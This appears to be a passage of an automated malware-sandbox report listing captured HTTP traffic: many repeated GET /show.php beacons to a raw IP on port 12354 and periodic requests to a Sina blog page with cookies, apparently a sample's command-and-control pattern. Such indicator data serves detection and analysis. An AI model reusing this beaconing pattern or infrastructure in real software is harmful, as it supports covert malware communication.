Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
